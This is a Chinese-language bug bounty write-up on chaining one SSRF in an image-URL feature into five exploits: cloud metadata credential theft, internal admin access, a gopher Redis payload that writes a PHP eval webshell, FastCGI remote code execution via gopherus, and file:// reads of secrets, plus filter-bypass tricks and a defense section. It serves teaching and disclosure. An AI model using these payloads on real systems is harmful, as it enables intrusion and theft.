1. 项目概述从一处SSRF到五份赏金的奇袭在漏洞挖掘的江湖里SSRF服务器端请求伪造一直是个让人又爱又恨的靶子。爱它是因为它像一把能打开内网大门的“万能钥匙”恨它是因为很多时候你明明拿到了钥匙却找不到那扇能通向赏金的“门”。最近我参与了一个大型众测项目目标是一个功能复杂的现代Web应用。在常规的资产梳理和功能点测试中我发现了一个看似平平无奇的图片上传功能它支持通过URL拉取网络图片。就是这里我触发了第一个SSRF——服务器能对外发起HTTP/HTTPS请求。如果故事到此为止那可能只是一份普通的低危报告。但我的经验告诉我SSRF的价值远不止于“证明存在”。接下来的几天我围绕着这一个漏洞点像外科手术般精细地解剖目标系统最终挖掘出了五种截然不同的、独立的高危利用链成功兑换了五份独立的赏金。这个过程与其说是漏洞利用不如说是一次对目标系统架构和安全边界的深度渗透测试。这个案例的核心在于它完美诠释了“深度优于广度”的漏洞挖掘哲学。很多新手猎人发现一个SSRF后可能匆匆提交了事或者浅尝辄止地尝试一下内网端口扫描。但真正的价值往往藏在后续的利用链拓展和上下文结合之中。同一个SSRF漏洞因为目标系统内部架构的复杂性、依赖服务的多样性以及配置的细微差别可以衍生出完全不同的攻击路径和危害。本文将完整复盘这次“一洞五吃”的实战过程不仅会展示五种具体的利用方式更会深入拆解每一步背后的思考逻辑、探测手法和绕过技巧。无论你是刚入门的安全爱好者还是有一定经验的渗透测试人员都能从中获得关于SSRF深度利用的系统性方法论。2. 漏洞入口点分析与SSRF的确认2.1 功能点定位与初步测试目标应用有一个用户头像设置功能除了本地上传还提供了一个“从网络链接添加”的选项。输入框的提示是“请输入图片URL”。我的第一反应是这很可能是一个潜在的SSRF触发点。为了确认我并没有直接输入内网地址而是遵循了最小化干扰和逐步升级的测试原则。首先我使用Burp Suite的Collaborator功能生成了一个唯一域名如xxxxxxxxxx.oastify.com将其填入图片URL框。提交请求后很快在Burp Collaborator客户端收到了来自目标服务器IP的DNS查询和HTTP请求。这直接证实了1服务器会解析我提供的域名2服务器会向我提供的URL发起HTTP GET请求。一个基本的SSRF已经坐实。注意在众测或授权测试中使用Collaborator或类似的外部交互服务如Interactsh是确认盲注类漏洞如盲SSRF、盲XSS、盲SQLi的首选安全方法。它能避免直接攻击内网服务可能造成的风险并提供无可辩驳的证据。2.2 SSRF性质的深入判断确认存在SSRF后下一步是判断它的“质量”。一个高质量的SSRF通常具备以下几个特征协议支持是否只支持HTTP/HTTPS是否支持file://、gopher://、dict://、ftp://等更多可能带来深层次利用的协议请求方法是固定的GET请求还是能控制请求方法如POST、PUT请求头控制能否注入或覆盖HTTP请求头如Host、Cookie、X-Forwarded-For等重定向跟随服务器是否会自动跟随302/301重定向这能用来绕过某些域名或协议过滤。响应回显请求的响应内容是否会部分或全部回显到前端页面这决定了是“盲SSRF”还是“回显型SSRF”两者利用方式差异巨大。我通过一系列Payload进行测试http://169.254.169.254/latest/meta-data/测试是否能够访问云元数据服务经典测试点。file:///etc/passwd测试file协议是否被过滤。http://burpcollaborator.net/#attacker.com利用#片段标识符或?查询参数尝试绕过可能存在的域名黑名单。将请求方法从GET改为POST通过修改前端或重放请求并尝试在URL参数或Body中添加数据。测试结果非常理想目标SSRF支持file、gopher协议需特定编码默认GET但可通过篡改请求包改为POST不跟随重定向最关键的是——它是一个回显型SSRF。服务器获取图片后会尝试解析其格式和大小如果失败会返回错误信息而错误信息中包含了服务器发起请求的完整URL。这意味着我不仅能驱动服务器发起请求还能看到它请求了哪里以及可能获取到部分响应内容这为后续的精确利用提供了极大便利。3. 五种独立利用方式深度拆解3.1 利用方式一攻击云元数据服务IMDS这是SSRF最经典的利用场景。现代云服务器AWS、GCP、Azure、阿里云、腾讯云等通常通过一个固定的内网端点如169.254.169.254提供实例元数据服务IMDS。这些元数据可能包含临时安全凭证Access Key/Secret Key、角色信息等一旦获取攻击者就可以从云外部接管该服务器甚至整个云账户。实操过程探测元数据端点版本我首先请求http://169.254.169.254/。返回了一个目录列表这是IMDSv1的典型特征。如果是IMDSv2首次请求需要带上一个通过PUT请求获取的令牌。遍历关键路径我编写了一个简单的字典通过SSRF批量请求关键路径/latest/meta-data/ /latest/meta-data/iam/security-credentials/ /latest/meta-data/iam/security-credentials/[角色名]/ /latest/user-data获取凭证在/latest/meta-data/iam/security-credentials/下发现了一个角色名例如s3-access-role。接着请求/latest/meta-data/iam/security-credentials/s3-access-role成功返回了包含AccessKeyId、SecretAccessKey、Token的JSON响应。利用凭证我立即使用AWS CLI配置这些临时凭证并成功列出了该角色权限下的S3存储桶甚至发现了一个配置错误的公开桶导致数据泄露。这一步直接构成了一个高危漏洞。实操心得IMDSv2的普及增加了利用难度但并非不可能。如果目标是IMDSv2可以尝试利用SSRF的“请求头注入”能力在请求中手动添加X-aws-ec2-metadata-token-ttl-seconds和X-aws-ec2-metadata-token头。不过这需要SSRF支持发送PUT请求以先获取令牌对漏洞质量要求更高。3.2 利用方式二攻击内网脆弱Web应用目标系统是一个微服务架构内网中存在大量其他服务。通过SSRF我可以以目标服务器的身份和网络位置去访问这些内部服务从而绕过外部防火墙的限制。实操过程内网端口扫描我利用回显信息编写脚本对常见端口80, 443, 8080, 8000, 3000, 22等进行扫描。例如请求http://127.0.0.1:8080/如果返回“连接被拒绝”或超时则端口关闭如果返回其他HTTP状态码或内容则端口开放且有Web服务。识别服务在172.18.0.3:3000发现了一个开放端口返回了一个JSON响应提示是“未授权访问”。这像是一个内部API服务。利用默认凭据与未授权访问我尝试了该服务的一些默认路径如/api/health、/admin。访问/admin时竟然直接返回了一个管理后台界面没有任何认证。这是一个典型的内网应用未授权访问漏洞。扩大战果通过这个管理后台我发现了数据库连接配置、其他内部系统的地址甚至找到了执行系统命令的功能点。由于该管理后台本身没有做好权限控制通过SSRF作为跳板我实现了对内网另一个关键系统的控制。这个利用方式的关键在于内网环境往往被认为是“可信的”因此安全措施如认证、授权可能比面向公网的服务要弱得多。SSRF提供了进入这个“信任区”的通道。3.3 利用方式三利用Gopher协议攻击内网Redis服务在端口扫描中我发现172.18.0.2:6379开放且返回的报错信息特征符合Redis。Redis如果未设置密码或绑定在0.0.0.0极易被利用。而SSRF若支持Gopher协议则能构造任意格式的TCP数据包完美攻击Redis。实操过程确认Gopher支持首先测试gopher://127.0.0.1:6379/_test观察回显。确认存在相关错误如连接建立后又断开说明Gopher协议生效。构造Redis攻击PayloadRedis协议是纯文本的格式为*参数个数\r\n$参数长度\r\n参数\r\n...。我想实现的目标是在目标服务器上写入一个Webshell。计划通过Redis的CONFIG SET dir和CONFIG SET dbfilename命令将数据保存路径设置为Web目录并将一个键的值设置为PHP一句话木马然后保存到磁盘。编码PayloadGopher协议在SSRF中发送时需要将整个TCP数据流进行URL编码。我使用Python脚本构造了完整的攻击链import urllib.parse # 构造Redis命令写入一个键为shell值为PHP代码 cmd *3\r\n$3\r\nSET\r\n$5\r\nshell\r\n$31\r\n?php eval($_POST[cmd]);?\r\n*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$13\r\n/var/www/html\r\n*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$9\r\nshell.php\r\n*1\r\n$4\r\nSAVE\r\n # 进行URL编码注意%0d%0a代表\r\n gopher_payload gopher://172.18.0.2:6379/_ urllib.parse.quote(cmd) print(gopher_payload)发起攻击将生成的超长Gopher URL通过SSRF漏洞点发送。由于是回显型SSRF我看到了Redis的响应提示“OK”表示命令执行成功。验证成果直接访问http://target.com/shell.php假设Web目录对外可见并使用POST参数cmdsystem(id);进行测试成功返回了当前进程的用户信息证明Webshell写入并执行成功。注意事项利用Gopher攻击Redis的成功率取决于多个因素Redis是否无密码、是否允许任意地址连接、Web目录是否可写且已知、以及SSRF服务对Gopher协议数据包的处理是否完整。在实际测试中可能会遇到因换行符处理、TCP连接复用等问题导致的失败需要根据错误信息调整Payload。3.4 利用方式四攻击FastCGI/PHP-FPM在扫描内网127.0.0.1:9000端口时我收到了一个异常响应不是HTTP协议。结合目标应用是PHP架构我怀疑这是PHP-FPMFastCGI进程管理器的端口。PHP-FPM默认监听9000端口如果配置不当如监听在0.0.0.0且能够被访问到那么可以通过构造FastCGI协议数据包实现任意代码执行。实操过程协议确认我使用一个简单的Socket连接脚本向127.0.0.1:9000发送一个畸形的HTTP请求。返回的错误信息中包含了“Primary script unknown”等字样这是PHP-FPM的典型错误确认了服务存在。利用工具生成Payload手动构造FastCGI协议包非常复杂。我使用了业内成熟的工具gopherus。这个工具可以直接生成攻击PHP-FPM的Gopher Payload。python gopherus.py --exploit fastcgi # 输入Web目录通过信息搜集得知为/var/www/html # 输入要执行的命令如?php system(id);?工具会生成一个编码后的Gopher URL。发起攻击将生成的URL通过SSRF发送。由于SSRF支持Gopher协议这个精心构造的数据包被直接发送到了本地的9000端口。执行与回显攻击成功后命令执行的结果会包含在PHP-FPM的响应包中。在我的回显型SSRF场景下这部分执行结果即id命令的输出被带回到了错误信息或响应体中让我可以直接看到。这个利用方式的危害极大因为它直接导致了在Web服务器进程权限下的远程代码执行RCE等同于拿下了整个Web服务器。3.5 利用方式五利用文件协议进行敏感信息读取与组合利用虽然file://协议看似只能读取文件但在信息搜集和组合利用中至关重要。它可以帮助我们深入了解服务器环境为其他攻击提供“弹药”。实操过程读取标准配置文件file:///etc/passwd确认系统用户寻找高权限或服务账户。file:///etc/hosts获取内网主机名和IP映射关系辅助内网扫描。file:///proc/net/tcp读取当前TCP连接表发现更多内网IP和端口需root权限但有时Web进程可读。读取Web应用相关配置通过报错信息或常见路径寻找Web应用的配置文件如file:///var/www/html/config.php、file:///var/www/html/.env。这次运气很好读取到了一个.env文件里面包含了数据库密码、Redis密码、第三方API密钥等大量敏感信息。组合利用提升权限从.env文件中获取到的Redis密码让我可以重新评估利用方式三。之前Redis无密码现在有了密码我可以用AUTH命令先认证再执行写文件操作成功率更高且可能访问到更重要的数据。获取到的数据库密码结合内网发现的数据库端口如3306我可以尝试通过SSRF如果支持MySQL协议或结合其他技巧直接连接数据库进行拖库等操作。获取到的API密钥可以用于直接访问其他外部服务造成横向信息泄露。实操心得file://协议读取往往被忽视但它却是渗透测试中的“地图”。它读到的信息可能不会直接导致RCE但却是串联整个攻击链、将低危漏洞提升为高危甚至严重漏洞的关键拼图。永远不要只测试/etc/passwd就停下要结合应用特性去猜测和尝试读取它的配置文件、日志文件、备份文件等。4. 漏洞挖掘与利用中的核心技巧与避坑指南4.1 如何高效探测内网服务与资产盲目扫描所有IP的所有端口效率低下且容易被发现。我的策略是利用已有信息先读取/etc/hosts、/proc/net/tcp如果可读获取已知的内网IP段和活跃连接。巧用DNS回显在回显型SSRF中如果请求一个不存在的内网IP可能会返回“无法解析主机名”或连接超时。但如果将域名指向一个已知的内网IP如http://target-internal.attacker.com/并在自己控制的DNS服务器上将target-internal解析到192.168.1.1通过观察服务器实际请求的IP可以判断它是否解析了该域名从而间接探测内网DNS行为或确认IP可达性。端口扫描的优化不要一上来就扫1-65535。优先扫描常见中间件端口80,443,8080,8000,3000、数据库端口3306,5432,6379,27017、缓存端口6379,11211、管理端口9000,9001,22以及云元数据端口169.254.169.254。使用短超时时间并做好请求记录避免重复。4.2 回显型与盲SSRF的利用差异本次案例是幸运的回显型SSRF但更多时候遇到的是盲SSRF。两者的利用思路有显著不同特性回显型SSRF盲SSRF信息获取可直接看到响应内容、状态码、部分头信息。仅知道请求是否成功发起通过DNS/HTTP回调到Collaborator。利用重点1. 直接读取敏感信息文件、元数据。2. 精确攻击内网服务如Redis、FastCGI并获取结果。3. 作为代理探索内网。1. 攻击可造成外部影响的无回显服务如触发Webhook、重置密码、发起内部API的破坏性动作。2. 通过时间延迟、DNS解析差异等进行带外OOB信息探测。技巧利用错误信息差异进行端口扫描和服务识别。将攻击结果通过DNS日志外带如让Redis将数据写入一个包含唯一ID的域名键值。对于盲SSRF一个高级技巧是“将盲注变为回显”。例如如果发现一个内网API可以尝试让它去请求一个你控制的、且会将请求内容记录并返回的Web服务一个特制的接收器从而将内部API的响应“带”出来。4.3 绕过常见过滤与限制实战中SSRF端点往往会有一些防御措施黑名单过滤过滤127.0.0.1、localhost、169.254.169.254、10.0.0.0/8等关键词或IP段。白名单过滤只允许请求特定域名如*.cdn.com。协议限制只允许http://和https://。绕过方法利用DNS解析特性十进制IPhttp://2130706433/等价于http://127.0.0.1/。八进制IPhttp://0177.0.0.1/等价于http://127.0.0.1/部分环境。十六进制IPhttp://0x7f.0x0.0x0.0x1/。IPv6地址http://[::1]/或http://[::ffff:127.0.0.1]/。域名重绑定注册一个域名将其A记录在短时间内先后指向你的服务器IP和127.0.0.1。服务器第一次DNS解析得到你的IP通过校验实际请求时DNS已变更为127.0.0.1从而绕过黑名单。这是绕过白名单的利器。利用URL解析歧义利用http://expected-domain.commalicious-payload.com。某些解析库会将前的内容视为认证信息实际请求的是malicious-payload.com。利用#http://expected-domain.com#malicious-payload.com。#后的内容被视为片段标识符可能被过滤逻辑忽略。利用?http://expected-domain.com?malicious-payload.com。类似原理。利用畸形路径http://127.0.0.1%252f/双重URL编码的/可能绕过对/的过滤。协议绕过如果目标后端使用了某些旧库或特定解析方式可以尝试http://127.0.0.1:80\\evil.com或http://127.1/等形式。4.4 从SSRF到权限提升的思考路径发现SSRF后不要满足于一个证明漏洞存在的PoC。要建立一套系统的升级思维信息收集最大化用file://协议和端口扫描摸清内网环境、配置文件、服务类型。协议利用最大化测试所有可能支持的协议Gopher、Dict、FTP等评估每种协议能攻击哪些内网服务Redis、Memcached、FastCGI、SMTP等。上下文结合将SSRF与目标应用的其他功能点结合。例如如果发现一个“网页截图”功能存在SSRF那么它可能使用无头浏览器这时可以尝试利用SSRF让无头浏览器访问内网管理页面然后截图回传实现“视化”内网。寻找链式利用SSRF可能只是一个起点。例如通过SSRF攻击内网Jenkins如果Jenkins存在未授权脚本执行就能获得一个更稳定的shell或者通过SSRF读取到的配置文件发现了SQL注入点从而进入数据库。5. 防御建议与修复方案对于开发和安全团队而言如何防御这种“一点突破全面开花”的SSRF漏洞呢修复不能只停留在过滤输入上需要多层防御。5.1 输入验证与过滤网络层这是第一道防线但不应是唯一防线。白名单优于黑名单如果业务上只需要从特定CDN或图床拉取图片那么就只允许这些域名的URL。使用严格的域名白名单正则匹配。解析并验证URL使用权威的URL解析库如Python的urllib.parseJava的java.net.URI解析用户输入的URL获取其host、protocol、port。然后进行判断禁止非HTTP/HTTPS协议。禁止访问内网IP段127.0.0.0/810.0.0.0/8172.16.0.0/12192.168.0.0/16169.254.0.0/16::1等。禁止访问云元数据IP如169.254.169.254。DNS重绑定防护在发起请求前对解析出的IP地址进行一次验证确保它与最初解析的域名IP一致或者直接使用第一次解析的IP进行请求避免DNS重绑定攻击。5.2 请求发起隔离与代理架构层这是更根本的解决方案。使用专用网络代理所有需要对外发起网络请求的服务统一通过一个配置了严格出口规则白名单的代理服务器进行。这个代理服务器禁止访问内网和元数据地址。这样即使应用层存在SSRF请求也会被代理层阻断。微服务间使用服务发现与内部域名内网服务之间的调用不要使用IP地址而是通过内部域名如redis.internal.svc.cluster.local。这样即使存在SSRF攻击者也无法通过猜测IP和端口来访问这些服务因为他们不知道内部域名。同时这些内部域名在公共DNS上无法解析。实施网络分段将不同的服务划分到不同的VPC或子网中并配置严格的安全组和网络ACL规则遵循最小权限原则。例如前端Web服务器所在的子网不应该能直接访问存放数据库的子网。5.3 最小权限与安全配置系统层云元数据服务IMDS强制使用IMDSv2需要令牌并为实例分配最小必要权限的IAM角色。避免使用长期凭证。内网服务加固所有内网服务Redis、数据库、管理后台等必须设置强密码认证并尽可能限制监听地址如127.0.0.1或特定内网IP而非0.0.0.0。运行环境降权运行Web应用的进程应使用非root、低权限的用户。这样即使通过file://协议读取文件也会受到操作系统权限的限制。5.4 安全开发与测试将SSRF测试纳入SDL在代码审查和自动化安全测试中加入对URL参数处理函数的检查。定期进行内部红蓝对抗以攻击者视角从外部和内部同时测试网络边界和微服务间的访问控制是否有效。依赖库安全及时更新所使用的HTTP客户端、URL解析库避免使用已知存在SSRF绕过问题的老旧版本。这次“五个赏金一个漏洞”的经历让我深刻体会到漏洞挖掘中“深度”和“视角”的重要性。同一个漏洞点在不同的人手中价值天差地别。它考验的不仅仅是技术知识的广度更是将知识点串联起来、在复杂环境中寻找突破口的系统化思维。面对一个SSRF不妨多问自己几个问题除了元数据内网还有什么除了HTTP还能用什么协议除了读取还能做什么动作得到的响应如何能让我看到更多信息把这些问题的答案像拼图一样组合起来一幅通往更深层次漏洞的路径图就会逐渐清晰。最后修复SSRF绝非简单地加个正则过滤就能了事它需要开发、运维、安全团队共同协作从网络架构、服务配置、代码实现多个层面构建纵深防御体系。